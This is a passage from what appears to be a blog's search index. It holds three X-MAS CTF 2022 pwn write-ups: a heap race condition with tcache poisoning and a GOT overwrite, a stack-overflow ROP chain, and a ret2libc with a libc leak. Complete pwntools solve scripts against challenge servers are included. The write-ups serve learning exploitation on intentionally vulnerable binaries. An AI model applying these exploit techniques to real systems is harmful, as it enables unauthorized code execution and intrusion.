pthread_mutex_destroy(&amp;g_events_lock); return; } void PrintPending(void) { puts(&#34;Your request has been submitted and will be approved shortly!&#34;); return; } void SpawnThread(void *function,void *argument) { int result; int *piVar1; long in_FS_OFFSET; pthread_t thread; long canary; canary = *(long *)(in_FS_OFFSET + 0x28); result = pthread_create(&amp;thread,(pthread_attr_t *)0x0,(__start_routine *)function,argument); if (result != 0) { piVar1 = __errno_location(); *piVar1 = result; perror(&#34;pthread_create&#34;); \/\/ WARNING: Subroutine does not return abort(); } if (canary != *(long *)(in_FS_OFFSET + 0x28)) { \/\/ WARNING: Subroutine does not return __stack_chk_fail(); } return; } void ScheduleEvent(void *function,void *arguments) { event *new_event; event *e; event *new_first_event; new_event = (event *)malloc(24); new_event-&gt;function = function; new_event-&gt;arguments = arguments; new_event-&gt;next = (event *)0x0; pthread_mutex_lock(&amp;g_events_lock); new_first_event = new_event; if (g_events != (event *)0x0) { for (e = g_events; e-&gt;next != (event *)0x0; e = e-&gt;next) { } e-&gt;next = new_event; new_first_event = g_events; } g_events = new_first_event; pthread_mutex_unlock(&amp;g_events_lock); return; } void ResolveEvents(void) { event *e; event *next_event; pthread_mutex_lock(&amp;g_events_lock); e = g_events; while (e != (event *)0x0) { (*(code *)e-&gt;function)(e-&gt;arguments); next_event = e-&gt;next; free(e); e = next_event; } g_events = (event *)0x0; pthread_mutex_unlock(&amp;g_events_lock); return; } void EventAdd(event_add_args *args) { char *buffer; int index; char *name; index = args-&gt;index; name = args-&gt;name; buffer = (char *)malloc(112); g_gifts[index] = buffer; strncpy(g_gifts[index],name,112); free(name); free(args); return; } undefined8 AsyncAdd(async_add_args *args) { event_add_args *event_args; int index; char *name; index = args-&gt;index; name = args-&gt;name; sleep(1); if (((-1 &lt; index) &amp;&amp; (index &lt; 10)) &amp;&amp; (g_gifts[index] == (char *)0x0)) { event_args = (event_add_args *)malloc(16); event_args-&gt;index = index; event_args-&gt;name = name; ScheduleEvent(EventAdd,event_args); } free(args); return 0; } void EventEdit(event_edit_args *args) { char *new_name; new_name = args-&gt;new_name; strncpy(args-&gt;name_buffer,new_name,112); free(new_name); free(args); return; } undefined8 AsyncEdit(async_edit_args *args) { event_edit_args *event_args; char *name; int index; index = args-&gt;index; name = args-&gt;name; if (((-1 &lt; index) &amp;&amp; (index &lt; 10)) &amp;&amp; (g_gifts[index] != (char *)0x0)) { event_args = (event_edit_args *)malloc(16); event_args-&gt;new_name = name; event_args-&gt;name_buffer = g_gifts[index]; sleep(1); ScheduleEvent(EventEdit,event_args); } free(args); return 0; } void EventDelete(event_delete_args *args) { int index; index = args-&gt;index; free(g_gifts[index]); g_gifts[index] = (char *)0x0; free(args); return; } undefined8 AsyncDelete(async_delete_args *args) { event_delete_args *event_args; int index; index = args-&gt;index; if (((-1 &lt; index) &amp;&amp; (index &lt; 10)) &amp;&amp; (g_gifts[index] != (char *)0x0)) { event_args = (event_delete_args *)malloc(4); event_args-&gt;index = index; ScheduleEvent(EventDelete,event_args); } free(args); return 0; } void UiAdd(void) { size_t length; long in_FS_OFFSET; int index; char *name; async_add_args *a; long canary; canary = *(long *)(in_FS_OFFSET + 0x28); puts(&#34;index: &#34;); __isoc99_scanf(&#34;%d&#34;,&amp;index); getchar(); puts(&#34;Enter a name for your gift:&#34;); name = (char *)malloc(112); fgets(name,112,stdin); length = strcspn(name,&#34;\\n&#34;); name[length] = &#39;\\0&#39;; a = (async_add_args *)malloc(16); a-&gt;name = name; a-&gt;index = index; SpawnThread(AsyncAdd,a); PrintPending(); if (canary != *(long *)(in_FS_OFFSET + 0x28)) { \/\/ WARNING: Subroutine does not return __stack_chk_fail(); } return; } void UiView(void) { int i; for (i = 0; i &lt; 10; i = i + 1) { if (g_gifts[i] != (char *)0x0) { printf(&#34;%d. %s\\n&#34;,(ulong)(uint)i,g_gifts[i]); } } return; } void UiEdit(void) { size_t length; long in_FS_OFFSET; int index; char *name; async_edit_args *a; long canary; canary = *(long *)(in_FS_OFFSET + 0x28); puts(&#34;index: &#34;); __isoc99_scanf(&#34;%d&#34;,&amp;index); getchar(); puts(&#34;Enter the new name for your gift:&#34;); name = (char *)malloc(112); fgets(name,112,stdin); length = strcspn(name,&#34;\\n&#34;); name[length] = &#39;\\0&#39;; a = (async_edit_args *)malloc(16); a-&gt;index = index; a-&gt;name = name; SpawnThread(AsyncEdit,a); PrintPending(); if (canary != *(long *)(in_FS_OFFSET + 0x28)) { \/\/ WARNING: Subroutine does not return __stack_chk_fail(); } return; } void UiDelete(void) { long in_FS_OFFSET; int index; async_delete_args *a; long canary; canary = *(long *)(in_FS_OFFSET + 0x28); puts(&#34;index: &#34;); __isoc99_scanf(&#34;%d&#34;,&amp;index); getchar(); a = (async_delete_args *)malloc(4); a-&gt;index = index; SpawnThread(AsyncDelete,a); PrintPending(); if (canary != *(long *)(in_FS_OFFSET + 0x28)) { \/\/ WARNING: Subroutine does not return __stack_chk_fail(); } return; } void main(void) { long in_FS_OFFSET; uint menu_choice; undefined8 canary; canary = *(undefined8 *)(in_FS_OFFSET + 0x28); Setup(); puts( &#34;Welcome to Santa\\&#39;s gifts! Please note that this is a very busy time and it might take a while for your requests to be accepted&#34; ); do { Menu(); __isoc99_scanf(&#34;%d&#34;,&amp;menu_choice); getchar(); ResolveEvents(); switch(menu_choice) { case 0: TearDown(); \/\/ WARNING: Subroutine does not return exit(0); case 1: UiAdd(); break; case 2: UiView(); break; case 3: UiEdit(); break; case 4: UiDelete(); } } while( true ); } The program lets us create, view, edit, and delete gifts, which have names stored in heap buffers. When we create, edit, or delete a gift, a thread is spawned which adds an element to a linked-list of events. The linked-list element contains a pointer to the function that actually makes the changes to the gift and a pointer to a struct with the arguments. At the start of each iteration of the main loop, the ResolveEvents() function goes through the linked list and calls the functions with their arguments.\nThe sleep(1) in AsyncEdit() looks suspicious. Since the function is called in a separate thread, it&rsquo;s possible that the gift gets deleted by another thread during that delay. If that happens, then we could write to a freed heap buffer.\nExploitation Initially, the linked list looked like an attactive target since it contains function pointers. I thought that it might be possible to cause a linked list node to be allocated inside a freed gift, which would allow me to overwrite it with the write-after-free vulnerability and redirect code execution to the flag function. I wrote a script that created a bunch of gifts, requested edits to the gifts, deleted the gifts, and then inserted as many elements into the linked list as possible during the delay in the AsyncEdit() function, but it didn&rsquo;t work.\nI asked Aplet123 for help, and he pointed out that by overwriting a freed chunk, it may be possible to corrupt the heap metadata and control the address returned by the next malloc call. He gave me a link to shellphish&rsquo;s how2heap repository which contains a ton of heap exploitation techniques, and the repository links to a tool that can be used to search the techniques: https:\/\/kissprogramming.com\/heap\/heap-search. Using that tool, I found out about the tcache poisoning attack. The demo in the how2heap repository shows that if we can write to a freed heap buffer that is around 128 bytes large, we can get malloc to return an arbitrary address that we control:\n#include &lt;stdio.h&gt; #include &lt;stdlib.h&gt; #include &lt;stdint.h&gt; #include &lt;assert.h&gt; int main() { \/\/ disable buffering setbuf(stdin, NULL); setbuf(stdout, NULL); printf(&#34;This file demonstrates a simple tcache poisoning attack by tricking malloc into\\n&#34; &#34;returning a pointer to an arbitrary location (in this case, the stack).\\n&#34; &#34;The attack is very similar to fastbin corruption attack.\\n&#34;); printf(&#34;After the patch https:\/\/sourceware.org\/git\/?p=glibc.git;a=commit;h=77dc0d8643aa99c92bf671352b0a8adde705896f,\\n&#34; &#34;We have to create and free one more chunk for padding before fd pointer hijacking.\\n\\n&#34;); size_t stack_var; printf(&#34;The address we want malloc() to return is %p.\\n&#34;, (char *)&amp;stack_var); printf(&#34;Allocating 2 buffers.\\n&#34;); intptr_t *a = malloc(128); printf(&#34;malloc(128): %p\\n&#34;, a); intptr_t *b = malloc(128); printf(&#34;malloc(128): %p\\n&#34;, b); printf(&#34;Freeing the buffers...\\n&#34;); free(a); free(b); printf(&#34;Now the tcache list has [ %p -&gt; %p ].\\n&#34;, b, a); printf(&#34;We overwrite the first %lu bytes (fd\/next pointer) of the data at %p\\n&#34; &#34;to point to the location to control (%p).\\n&#34;, sizeof(intptr_t), b, &amp;stack_var); b[0] = (intptr_t)&amp;stack_var; printf(&#34;Now the tcache list has [ %p -&gt; %p ].\\n&#34;, b, &amp;stack_var); printf(&#34;1st malloc(128): %p\\n&#34;, malloc(128)); printf(&#34;Now the tcache list has [ %p ].\\n&#34;, &amp;stack_var); intptr_t *c = malloc(128); printf(&#34;2nd malloc(128): %p\\n&#34;, c); printf(&#34;We got the control\\n&#34;); assert((long)&amp;stack_var == (long)c); return 0; } If we can get malloc to return an arbitrary address, then we can have it return the address of some GOT entry and overwrite the GOT. I wrote a new script that writes the GOT address of getchar() into a bunch of freed chunks, allocates some new chunks, and then writes the flag function address to the new chunks:\n#!\/usr\/bin\/env python3 import time from pwn import * exe = ELF(&#34;main_patched&#34;) context.binary = exe flag_func_addr = pack(exe.symbols.Flag) got_addr = pack(exe.got.getchar) # r = process([exe.path]) r = remote(&#34;challs.htsp.ro&#34;, 8003) for i in range(10): r.sendline(b&#34;1&#34;) r.sendline(str(i).encode()) r.sendline(got_addr) time.sleep(2) for i in range(10): r.sendline(b&#34;3&#34;) r.sendline(str(i).encode()) r.sendline(got_addr) time.sleep(0.1) for i in range(10): r.sendline(b&#34;4&#34;) r.sendline(str(i).encode()) time.sleep(2) for i in range(2): r.sendline(b&#34;3&#34;) r.sendline(b&#34;0&#34;) r.sendline(flag_func_addr) r.sendline(b&#34;2&#34;) r.clean(0.5) r.interactive() When I ran the initial version of the new script, the output contained some errors from \/bin\/sh, which was very exciting. However, the program also segfaults right after that. I figured out that the program was probably segfaulting one second after the shell was spawned because of some extra threads, so I made the script immediately send the command to cat the flag after spawning the shell and successfully obtained the flag. Later, I tried tweaking the second half of the script and was able to get the shell to stay open with some trial-and-error.\n","permalink":"https:\/\/www.alexyzhang.dev\/write-ups\/x-mas-ctf-2022\/krampus-gifts\/","summary":"I did heap!!!","title":"X-MAS CTF 2022 \u2013 Krampus' Gifts"},{"content":"The Vulnerability We have a binary with debug info and the following source code:\n#include &lt;stdio.h&gt; #include &lt;stdlib.h&gt; #include &lt;unistd.h&gt; void Setup() { setvbuf(stdin, NULL, _IONBF, 0); setvbuf(stdout, NULL, _IONBF, 0); setvbuf(stderr, NULL, _IONBF, 0); } #define SYMBOLS &#34;ABCDEF&#34; __attribute__((used, hot, noinline)) void Flag() { system(&#34;\/bin\/sh&#34;); } void GenerateGreeting( char patternSymbol, int patternCount ) { char output[2312] = { 0 }; int outputCursor = 0; for (int i = 0; i &lt; patternCount; i += 1) { output[outputCursor++] = patternSymbol; } output[outputCursor++] = &#39;\\n&#39;; printf(&#34;enter greeting: \\n&#34;); outputCursor += read(0, &amp;output[outputCursor], 128); for (int i = 0; i &lt; patternCount; i += 1) { output[outputCursor++] = patternSymbol; } output[outputCursor++] = &#39;\\n&#39;; printf(&#34;%s\\n&#34;, output); } int main() { Setup(); printf(&#34;enter pattern character: \\n&#34;); char patternSymbol; scanf(&#34;%c&#34;, &amp;patternSymbol); getchar(); printf(&#34;enter number of symbols: \\n&#34;); char numberString[512]; int readAmount = read(0, numberString, sizeof(numberString) - 1); numberString[readAmount] = &#39;\\0&#39;; int mappings[sizeof(SYMBOLS)] = { 0 }; for (int i = 0; i &lt; readAmount; i += 1) { char current = numberString[i]; int index = 0; for (const auto symbol: SYMBOLS) { if (current == symbol) { mappings[index] += 1; } index += 1; } } int patternCount = 0; int power = 1; for (int i = 0; i &lt; sizeof(SYMBOLS); ++i) { if (mappings[i] &gt; 3) { abort(); } patternCount += power * mappings[i]; power *= 3; } GenerateGreeting(patternSymbol, patternCount); } checksec indicates that the binary has no canary or PIE and there&rsquo;s a flag function, so we&rsquo;re probably going to be redirecting execution to the flag function with a buffer overflow. There is a buffer in main, but the call to read on line 50 is safe. The GenerateGreeting function writes to a buffer of size 2312 and it does not check if outputCursor gets too big, so if we can make patternCount big enough, we will get a buffer overflow and we can use the call to read on line 30 to overwrite the return address.\nThe code in main first uses the mappings array to count the number of times each of the characters in SYMBOLS occurs in our input. Then it computes patternCount with a process that is similar to interpreting the counts as a base-3 integer, except that the digit 3 is allowed. SYMBOLS is the string literal &quot;ABCDEF&quot;, and in C++, string literals are const char arrays with size equal to the number of characters plus one for the null terminator. Therefore, sizeof(SYMBOLS) is 7, and the range-based for loop will loop over the six letters and the null character at the end. The maximum value of patternCount that we can get is 3 + 3 * 3 + 3 * 3^2 + &hellip; + 3 * 3^6 = 3279, which is enough to overflow the buffer.\nExploitation Overwriting the Return Address My initial plan was to make patternCount equal to the offset from the buffer to the return address so that I can overwrite the return address with the address of the flag function using the read call. I got the offset by staring at the raw assembly, but I later found out that since the binary had debugging information, I could have had GDB print the assembly with the corresponding source code using disas\/m or made GDB calculate the offset for me:\ngef\u27a4 b GenerateGreeting Breakpoint 1 at 0x401216: file main.cpp, line 22. gef\u27a4 r ... gef\u27a4 info frame Stack level 0, frame at 0x7fffffffdf40: rip = 0x401216 in GenerateGreeting (main.cpp:22); saved rip = 0x4014a9 called by frame at 0x7fffffffe1b0 source language c++. Arglist at 0x7fffffffdf30, args: patternSymbol=0x41, patternCount=0xd Locals at 0x7fffffffdf30, Previous frame&#39;s sp is 0x7fffffffdf40 Saved registers: rbp at 0x7fffffffdf30, rip at 0x7fffffffdf38 gef\u27a4 p (void*)0x7fffffffdf38 - output $1 = 0x928 0x928 is 2344, and I subtracted 3 * 3^6 for three null characters to get 157, which is 12211 in base 3. I therefore had my solve script send b&quot;ABCCDDE\\0\\0\\0&quot; for the &ldquo;number of symbols&rdquo;:\nfrom pwn import * exe = ELF(&#34;.\/main&#34;) context.binary = exe r = process([exe.path]) rop = ROP(exe) rop.call(&#34;_Z4Flagv&#34;, ()) log.info(rop.dump()) r.sendlineafter(b&#34;character: \\n&#34;, b&#34;A&#34;) r.sendlineafter(b&#34;symbols: \\n&#34;, b&#34;ABCCDDE\\0\\0\\0&#34;) r.sendafter(b&#34;greeting: \\n&#34;, rop.chain()) Debugging When I ran the solve script, the return address didn&rsquo;t get overwritten with the address of the flag function. I stepped through the code with GDB and noticed that at some point, the loop counter i suddenly gets a big value which makes the loop stop early. It turns out that this is because i is stored on the stack after the buffer and gets overwritten:\ngef\u27a4 p $rbp-output $1 = 0x920 gef\u27a4 p $rbp-(void*)&amp;i $2 = 0x8 This still gets us close enough to the return address though. I used a pattern to find how many bytes we have to write before reaching the return address:\nr.sendafter(b&#34;greeting: \\n&#34;, cyclic(128)) gef\u27a4 u 32 ... gef\u27a4 info frame Stack level 0, frame at 0x7ffffd6798a0: rip = 0x4012c8 in GenerateGreeting (main.cpp:32); saved rip = 0x6166616161656161 called by frame at 0x7ffffd6798a8 source language c++. Arglist at 0x7ffffd679890, args: patternSymbol=0x41, patternCount=0x928 Locals at 0x7ffffd679890, Previous frame&#39;s sp is 0x7ffffd6798a0 Saved registers: rbp at 0x7ffffd679890, rip at 0x7ffffd679898 gef\u27a4 pattern search -n 4 0x7ffffd679898 [+] Searching for &#39;0x7ffffd679898&#39; [+] Found at offset 14 (little-endian search) likely Then I tried adding this many bytes of padding before the flag function address:\nr.sendafter(b&#34;greeting: \\n&#34;, rop.generatePadding(0, 14) + rop.chain()) However, the program segfaults inside the loop that writes the pattern characters after the greeting:\nI noticed that outputCursor is 0x61626180, which indicates that it was overwritten by our padding since 0x61 is 'a'. So outputCursor is also stored after the buffer, and we overwrote it with a big value which caused the loop to segfault when it attempts to write to output[outputCursor]. To fix this, I added four null bytes to the padding to overwrite outputCursor back to 0:\nr.sendafter(b&#34;greeting: \\n&#34;, b&#34;BB\\0\\0\\0\\0&#34; + rop.generatePadding(6, 8) + rop.chain()) When I ran this, I got a segfault on a movaps instruction and rsp ends with 8, which indicates we have a stack alignment problem:\nI padded the ROP chain with a ret instruction and now the exploit works:\nrop = ROP(exe) rop.raw(rop.find_gadget([&#34;ret&#34;])) rop.call(&#34;_Z4Flagv&#34;, ()) log.info(rop.dump()) [ctf@fedora-ctf ~]$ .\/solve.py [*] &#39;\/home\/ctf\/main&#39; Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) [+] Starting local process &#39;\/home\/ctf\/main&#39;: pid 2863 [*] Loaded 5 cached gadgets for &#39;.\/main&#39; [*] 0x0000: 0x401016 ret 0x0008: 0x4011e7 _Z4Flagv() [*] Switching to interactive mode AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACA $ ls bin Documents foo main Music Public Templates Desktop Downloads ghidra main.cpp Pictures solve.py Videos Full solve script:\n#!\/usr\/bin\/env python3 from pwn import * exe = ELF(&#34;.\/main&#34;) context.binary = exe # r = process([exe.path]) # r = gdb.debug([exe.path]) r = remote(&#34;challs.htsp.ro&#34;, 8004) rop = ROP(exe) rop.raw(rop.find_gadget([&#34;ret&#34;])) rop.call(&#34;_Z4Flagv&#34;, ()) log.info(rop.dump()) r.sendlineafter(b&#34;character: \\n&#34;, b&#34;A&#34;) r.sendlineafter(b&#34;symbols: \\n&#34;, b&#34;ABCCDDE\\0\\0\\0&#34;) r.sendafter(b&#34;greeting: \\n&#34;, b&#34;BB\\0\\0\\0\\0&#34; + rop.generatePadding(0, 8) + rop.chain()) r.interactive() ","permalink":"https:\/\/www.alexyzhang.dev\/write-ups\/x-mas-ctf-2022\/krampus-greetings\/","summary":"Mostly standard stack buffer overflow","title":"X-MAS CTF 2022 \u2013 Krampus' Greetings"},{"content":"The Vulnerability We are provided with an x86-64 binary, libc, and ld. Running checksec on the binary shows that there is no canary, NX is enabled, and PIE is disabled, so it looks like we have to do a buffer overflow ret2libc.\nI decompiled the binary with Ghidra and got this:\nundefined8 main(void) { int cmp_result; FILE *dev_null; char input [1024]; char buffer [1032]; setvbuf(stdin,(char *)0x0,2,0); setvbuf(stdout,(char *)0x0,2,0); dev_null = fopen(&#34;\/dev\/null&#34;,&#34;w&#34;); setbuf(dev_null,buffer); puts(&#34;Write all the complaints you have about Santa, they will be merrily redirected to \/dev\/null&#34; ); while( true ) { cmp_result = memcmp(input,&#34;done&#34;,4); if (cmp_result == 0) break; memset(input,0,0x200); fgets(input,0x200,stdin); fwrite(input,1,0x200,dev_null); } return 0; } It looks like the program reads input until a line that starts with &ldquo;done&rdquo; and writes the input to \/dev\/null. The code inside the loop looks safe, but the setbuf call is interesting since it doesn&rsquo;t include the size of the buffer. The documentation for setbuf states that the buffer should be at least BUFSIZ characters long, and a quick search inside stdio.h shows that BUFSIZ is 8192, which is much bigger than the size of the buffer. We have a stack buffer overflow vulnerability, and since we control the data that goes into the buffer, we can exploit it to do ROP.\nExploitation Determining the Offset First, we need to know the offset from the buffer to the return address. I ran pwninit to make sure that the binary uses the provided libc and linker, then I opened it with gdb. I used the pattern create 1500 command from GEF to generate a pattern with unique substrings and fed it to the program.\nAs expected, it segfaults on the ret instruction with rsp pointing to our pattern characters. I ran pattern search --max-length 1500 $rsp to get the offset, which is 1038. Note that the --max-length option is necessary because GEF will only search the first 1024 characters by default.\ngef\u27a4 pattern search --max-length 1500 $rsp [+] Searching for &#39;$rsp&#39; [+] Found at offset 1038 (little-endian search) likely [+] Found at offset 1034 (big-endian search) Leaking libc We have to know where libc is in memory in order to jump to it. The address will be different each time due to ASLR. I used a technique that I learned from a John Hammond return to libc video where the puts function is called with a pointer to an entry in the global offset table so that it prints out the libc address there. We can call puts without knowing the address of libc by going through the procedural linkage table.\nfrom pwn import * exe = ELF(&#34;.\/chall_patched&#34;) libc = ELF(&#34;.\/libc-2.27.so&#34;) context.binary = exe r = process([exe.path]) # r = remote(&#34;challs.htsp.ro&#34;, 8001) rop = ROP(exe) padding = rop.generatePadding(0, 1038) # Call puts with a pointer to the GOT entry containing the address of setbuf. # pwntools automatically finds gadgets to set the arguments. rop.puts(exe.got.setbuf) # Call main again so that we can write the libc address later. rop.main() log.info(rop.dump()) r.sendlineafter(b&#34;\/dev\/null\\n&#34;, padding + rop.chain()) r.sendline(b&#34;done&#34;) # puts will stop when it hits a null byte and it will add a newline at the end # Most of the time, the address won&#39;t have newlines or null bytes in the middle, # but it will end with null bytes so we add those back. leak = unpack(r.recvline(keepends=False).ljust(8, b&#34;\\0&#34;)) # Calculate the libc base address by subtracting the offset of setbuf libc.address = leak - libc.symbols.setbuf log.info(f&#34;{hex(leak)=} {hex(libc.address)=}&#34;) r.interactive() The output looks like this:\n[+] Starting local process &#39;\/home\/vagrant\/santa\/chall_patched&#39;: pid 1625 [*] Loaded 14 cached gadgets for &#39;.\/chall_patched&#39; [*] 0x0000: 0x4008f3 pop rdi; ret 0x0008: 0x601020 [arg0] rdi = got.setbuf 0x0010: 0x400600 puts 0x0018: 0x400767 main() [*] hex(leak)=&#39;0x7f2264e88470&#39; hex(libc.address)=&#39;0x7f2264e00000&#39; [*] Switching to interactive mode Write all the complaints you have about Santa, they will be merrily redirected to \/dev\/null We can see that pwntools found a pop rdi gadget and used it to set rdi. The libc base address that we got ends in several zeros which is evidence that it&rsquo;s correct. We can also see the output from the program which indicates that we got main to execute again.\nSpawning a Shell Now that we know where libc is, we can jump to any gadget in it. I used one_gadget to automatically search for gadgets in libc that will spawn a shell.\n$ one_gadget libc-2.27.so 0x4f2a5 execve(&#34;\/bin\/sh&#34;, rsp+0x40, environ) constraints: rsp &amp; 0xf == 0 rcx == NULL 0x4f302 execve(&#34;\/bin\/sh&#34;, rsp+0x40, environ) constraints: [rsp+0x40] == NULL 0x10a2fc execve(&#34;\/bin\/sh&#34;, rsp+0x70, environ) constraints: [rsp+0x70] == NULL The second gadget looks like it&rsquo;s the easiest to use since we can make sure that rsp+0x40 points to null bytes by writing a bunch of null bytes after the ROP chain.\none_gadget = 0x4f302 + libc.address rop = ROP(exe) rop.raw(one_gadget) # Add 0x48 null bytes to the ROP chain so that [rsp+0x40] == NULL rop.raw(b&#34;\\0&#34; * 0x48) log.info(rop.dump()) r.sendlineafter(b&#34;\/dev\/null\\n&#34;, padding + rop.chain()) r.sendline(b&#34;done&#34;) When I ran the script, I got a shell first try.\n[*] Switching to interactive mode $ ls bin boot dev etc home lib lib64 media mnt opt proc root run sbin srv start.sh sys tmp usr var $ cat \/home\/ctf\/flag.txt X-MAS{H07l1n3_Buff3r5_t00_5m4ll} Full solve script:\n#!\/usr\/bin\/env python3 from pwn import * exe = ELF(&#34;.\/chall_patched&#34;) libc = ELF(&#34;.\/libc-2.27.so&#34;) context.binary = exe # r = process([exe.path]) r = remote(&#34;challs.htsp.ro&#34;, 8001) rop = ROP(exe) padding = rop.generatePadding(0, 1038) rop.puts(exe.got.setbuf) rop.main() log.info(rop.dump()) r.sendlineafter(b&#34;\/dev\/null\\n&#34;, padding + rop.chain()) r.sendline(b&#34;done&#34;) leak = unpack(r.recvline(keepends=False).ljust(8, b&#34;\\0&#34;)) libc.address = leak - libc.symbols.setbuf log.info(f&#34;{hex(leak)=} {hex(libc.address)=}&#34;) one_gadget = 0x4f302 + libc.address rop = ROP(exe) rop.raw(one_gadget) rop.raw(b&#34;\\0&#34; * 0x48) log.info(rop.dump()) r.sendlineafter(b&#34;\/dev\/null\\n&#34;, padding + rop.chain()) r.sendline(b&#34;done&#34;) r.interactive() ","permalink":"https:\/\/www.alexyzhang.dev\/write-ups\/x-mas-ctf-2022\/santas-complaint-hotline\/","summary":"My first ret2libc","title":"X-MAS CTF 2022 \u2013 Santa's Complaint Hotline"}]